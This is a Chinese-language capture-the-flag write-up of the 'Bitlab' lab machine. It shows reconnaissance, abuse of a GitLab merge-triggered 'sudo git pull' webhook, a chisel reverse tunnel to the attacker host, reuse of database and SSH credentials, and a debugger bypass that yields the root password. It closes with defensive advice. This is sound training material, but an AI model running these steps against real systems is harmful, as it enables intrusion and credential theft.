[Meachines] [Medium] Bitlab 标签自动填充登录+GitLab+Docker横向+Postgresql+逆向工程
字数 1566 2025-08-19 12:41:20
GitLab 安全渗透测试实战教学文档
1. 信息收集阶段
1.1 初始扫描
目标IP: 10.10.10.114
使用Nmap进行端口扫描:
nmap -p- 10.10.10.114 --min-rate 1000 -sC -sV
扫描结果:
- 22/tcp: OpenSSH 7.6p1 Ubuntu
- 80/tcp: nginx (GitLab Community Edition)
1.2 Web目录扫描
使用feroxbuster进行目录扫描:
feroxbuster --url http://10.10.10.114
发现关键页面:
/users/sign_in: GitLab登录页面/help/bookmarks.html: 包含自动填充功能的书签页面
2. 漏洞利用阶段
2.1 自动填充漏洞利用
在/help/bookmarks.html页面发现:
- 点击书签后,登录表单会被自动填充
- 这可能是XSS或存储型漏洞的利用点
2.2 GitLab Webhook自动化部署漏洞
发现自动化部署脚本index.php:
<?php
$input = file_get_contents("php://input");
$payload = json_decode($input);
$repo = $payload->project->name ?? '';
$event = $payload->event_type ?? '';
$state = $payload->object_attributes->state ?? '';
$branch = $payload->object_attributes->target_branch ?? '';
if ($repo=='Profile' && $branch=='master' && $event=='merge_request' && $state=='merged') {
echo shell_exec('cd ../profile/; sudo git pull'),"\n";
}
echo "OK\n";
漏洞分析:
- 当名为"Profile"的项目有合并请求被合并到master分支时
- 系统会自动执行
sudo git pull命令 - 这意味着恶意代码可以被自动部署到服务器
2.3 利用步骤
- 访问
http://10.10.10.114/profile/ - 创建新分支并提交恶意代码
- 创建合并请求并将其合并到master分支
- 触发自动化部署流程
3. 横向移动阶段
3.1 内部网络探测
获取shell后,检查内部网络:
ip neigh
nmap 172.19.0.2-5 --min-rate 1000 -sC -sV -open
发现内部服务:
- 172.19.0.2: nginx (GitLab)
- 172.19.0.4: PostgreSQL 9.6.0+
- 172.19.0.5:
- OpenSSH 7.2p2
- nginx (GitLab)
- 8181端口(可能是反向代理)
3.2 数据库访问
- 建立隧道访问PostgreSQL:
# 攻击机
chisel server -p 10000 --reverse
# 目标机
./chisel client 10.10.16.24:10000 R:5432:localhost:5432
-
在
http://10.10.10.114/dashboard/snippets找到凭据:- username: profiles
- password: profiles
-
连接数据库:
psql -h 127.0.0.1 -p 5432 -U profiles
- 数据库操作:
\list # 列出数据库
\dt # 列出表
发现新凭据:
- username: clave
- password: c3NoLXN0cjBuZy1wQHNz== (base64解码后为"ssh-str0ng-p@ss")
3.3 SSH访问
使用获取的凭据连接SSH:
ssh clave@10.10.10.114
获取user flag:
17c8588ec3bd9790f0ae64ea8ad71d79
4. 权限提升阶段
4.1 逆向工程分析
- 从目标系统下载可疑文件:
scp clave@10.10.10.114:~/RemoteConnection.exe .
-
使用调试器分析:
- 关键函数调用:
call dword ptr ds:[<shell32.ShellExecuteW>] - 发现用户名比较逻辑:
00F51640 | 817D 98 D831F500 | cmp dword ptr ss:[ebp-68],remoteconnect | F531D8:L"clave" - 需要绕过此检查才能执行ShellExecute函数
- 关键函数调用:
-
调试技巧:
- 使用x32gdb进行动态调试
- 在比较指令处设置断点
- 修改条件跳转或NOP掉比较过程
4.2 获取root密码
成功绕过检查后:
- 在堆栈中可以找到root用户的密码
- 使用密码切换为root:
su root
获取root flag:
8bd53c50dabbc99ea10a2803fba16481
5. 总结与防护建议
5.1 漏洞总结
- 自动填充漏洞:可能导致凭据泄露
- 不安全的Webhook实现:允许任意代码执行
- 硬编码凭据:数据库和SSH凭据泄露
- 不安全的二进制文件:包含敏感信息且可绕过验证
5.2 防护建议
-
Web应用安全:
- 禁用自动填充功能
- 实现CSRF保护
- 对用户输入进行严格验证
-
自动化部署:
- 限制Webhook的执行权限
- 实现代码审查机制
- 使用签名验证部署请求
-
凭据管理:
- 避免硬编码凭据
- 使用密钥管理系统
- 定期轮换凭据
-
二进制安全:
- 移除调试信息
- 实现强验证机制
- 避免在二进制中存储敏感信息
-
网络隔离:
- 实施适当的网络分段
- 限制内部服务访问
- 监控异常连接
通过本案例的学习,可以深入了解从信息收集到权限提升的完整渗透测试流程,以及如何防护此类攻击。